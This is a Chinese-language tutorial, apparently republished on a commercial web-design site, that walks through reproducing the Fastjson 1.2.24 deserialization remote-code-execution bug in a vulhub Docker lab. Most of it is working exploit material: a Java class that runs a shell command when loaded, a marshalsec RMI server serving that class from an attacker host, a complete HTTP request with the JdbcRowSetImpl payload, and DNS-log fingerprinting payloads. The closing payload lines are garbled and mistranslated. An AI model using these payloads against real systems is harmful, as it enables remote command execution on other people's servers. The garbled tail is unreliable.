如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

本篇文章為大家展示了如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。

成都創(chuàng)新互聯(lián)公司-專(zhuān)業(yè)網(wǎng)站定制、快速模板網(wǎng)站建設(shè)、高性?xún)r(jià)比南康網(wǎng)站開(kāi)發(fā)、企業(yè)建站全套包干低至880元,成熟完善的模板庫(kù),直接使用。一站式南康網(wǎng)站制作公司更省心,省錢(qián),快速模板網(wǎng)站建設(shè)找我們,業(yè)務(wù)覆蓋南康地區(qū)。費(fèi)用合理售后完善,十載實(shí)體公司更值得信賴(lài)。

先啟動(dòng)靶場(chǎng)

docker-compose up -d先啟動(dòng)vulhub的fastjson環(huán)境如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

Docker開(kāi)啟的8090端口

假設(shè)我們目標(biāo)IP為1.1.1.1,此時(shí)我們?cè)L問(wèn)1.1.1.1:8090

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

安裝環(huán)境(maven與jdk,以就有的跳過(guò)此步)

安裝jdk環(huán)境

很多l(xiāng)inux自帶有jdk環(huán)境,但缺少很多組件,會(huì)報(bào)錯(cuò)實(shí)屬正常

https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根據(jù)自己系統(tǒng)選擇相應(yīng)jdk下載。

mkdir /opt/java

tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java

vim  /etc/profile

末尾增加

export JAVA_HOME=/opt/java/jdk1.8.0_251

export JRE_HOME=/opt/java/jdk1.8.0_251

export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib

export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin

source /etc/profile

測(cè)試

java -version

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

安裝maven(linux為例)

wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

mkdir /opt/maven

tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/

配置環(huán)境變量

vim /etc/profile

在最下面增加

export MAVEN_HOME=/opt/maven/apache-maven-3.6.3

export PATH=$MAVEN_HOME/bin:$PATH

驗(yàn)證maven是否安裝成功

mvn -version

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

報(bào)錯(cuò)解決:

你可能遇到這樣的報(bào)錯(cuò)

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

說(shuō)明你安裝的jdk有問(wèn)題,按上述方法不行就百度。

如果是這樣:

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

說(shuō)明你環(huán)境變量沒(méi)配置好,報(bào)這個(gè)錯(cuò)我才發(fā)現(xiàn)可以直接用apt安裝,可能是我換了個(gè)系統(tǒng)這個(gè)源里面有,之前實(shí)驗(yàn)的時(shí)候不是這個(gè)系統(tǒng),我這系統(tǒng)是ubantu,具體apt安裝出來(lái)的能不能用自己試。

環(huán)境安裝好了后開(kāi)始復(fù)現(xiàn)漏洞

保存以下代碼,命名為DNSlog.java

import java.lang.Runtime;

import java.lang.Process;

 

public class dnslog{

    static {

        try {

            Runtime rt = Runtime.getRuntime();

            String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog"};

            Process pc = rt.exec(commands);

            pc.waitFor();

        } catch (Exception e) {

            // do nothing

        }

    }

}

執(zhí)行以下代碼會(huì)生成一個(gè)dnslog.class文件

javac dnslog.java

使用python在當(dāng)前目錄下起一個(gè)http服務(wù),如果端口占用換其他的

python -m SimpleHTTPServer 4567

使用marshalsec項(xiàng)目,啟動(dòng)RMI服務(wù),監(jiān)聽(tīng)9999端口并加載遠(yuǎn)程類(lèi)dnslog.class

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec/

編譯項(xiàng)目

mvn clean package -DskipTests

如果出現(xiàn)下圖情況,就是jdk環(huán)境問(wèn)題,自帶jdk環(huán)境不完整。按上面步驟安裝即可。

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

成功是這樣的,target目錄下會(huì)生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

當(dāng)前目錄下執(zhí)行命令開(kāi)啟RMI服務(wù):

以我搭建dnslog.class類(lèi)http服務(wù)的服務(wù)器IP為2.2.2.2端口為4567

cd target/

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:4567/#TouchFile" 9999

RMI服務(wù)可以搭建在與dnslog.class類(lèi)的http服務(wù)同一臺(tái)服務(wù)器,也可以搭建在其它服務(wù)器上。我們演示還是在同一臺(tái)。

既然環(huán)境準(zhǔn)備就緒就掏出burp開(kāi)搞吧:

構(gòu)造payload扔burp中發(fā)送

POST / HTTP/1.1

Host: 1.1.1.1:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 160

 

{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://2.2.2.2:9999/dnslog",

        "autoCommit":true

    }

}

 

成功后是這樣的

RMI:

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

Python起的http服務(wù):

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

Burp返回包:

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

Dnslog平臺(tái)能看到執(zhí)行結(jié)果:

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

為什么我要說(shuō)著三處執(zhí)行情況,大家肯定很好奇,直接說(shuō)結(jié)果不就好了嗎?

這里又是已給可能出錯(cuò)的地方,第一處檢查rmi運(yùn)行情況,第二處檢查http服務(wù)開(kāi)啟情況,第三處就是執(zhí)行結(jié)果。

如果最終結(jié)果有問(wèn)題,那處結(jié)果顯示不正常就去哪個(gè)地方找原因。第一、二處最有可能出現(xiàn)問(wèn)題的就是端口占用或者防火墻攔截。Dnslog平臺(tái)沒(méi)有顯示就說(shuō)明命令未執(zhí)行成功,也有可能是平臺(tái)問(wèn)題。具體自己檢查。

文末講解下fastjson指紋特征

1 根據(jù)返回包判斷

任意抓個(gè)包,提交方式改為POST,花括號(hào)不閉合。返回包在就會(huì)出現(xiàn)fastjson字樣。當(dāng)然這個(gè)可以屏蔽,如果屏蔽使用其它辦法,往后翻。

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

2 利用dnslog盲打

構(gòu)造以下payload,利用dnslog平臺(tái)接收。

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

1.2.67版本后payload

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"這里是dnslog"}}

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程

"@type":"java.net.InetSocketAddress"{"address":,"val":"這里是dnslog"}}

["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"Zhèlǐ shì dnslog"}}]"@Type":

"java.net.InetSocketAddress" { "address":, "val": "This is dnslog"}}

上述內(nèi)容就是如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

網(wǎng)頁(yè)名稱(chēng):如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程
URL鏈接:http://muchs.cn/article42/ighgec.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站設(shè)計(jì)公司、網(wǎng)站內(nèi)鏈外貿(mào)建站、響應(yīng)式網(wǎng)站域名注冊(cè)、做網(wǎng)站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話(huà):028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都定制網(wǎng)站網(wǎng)頁(yè)設(shè)計(jì)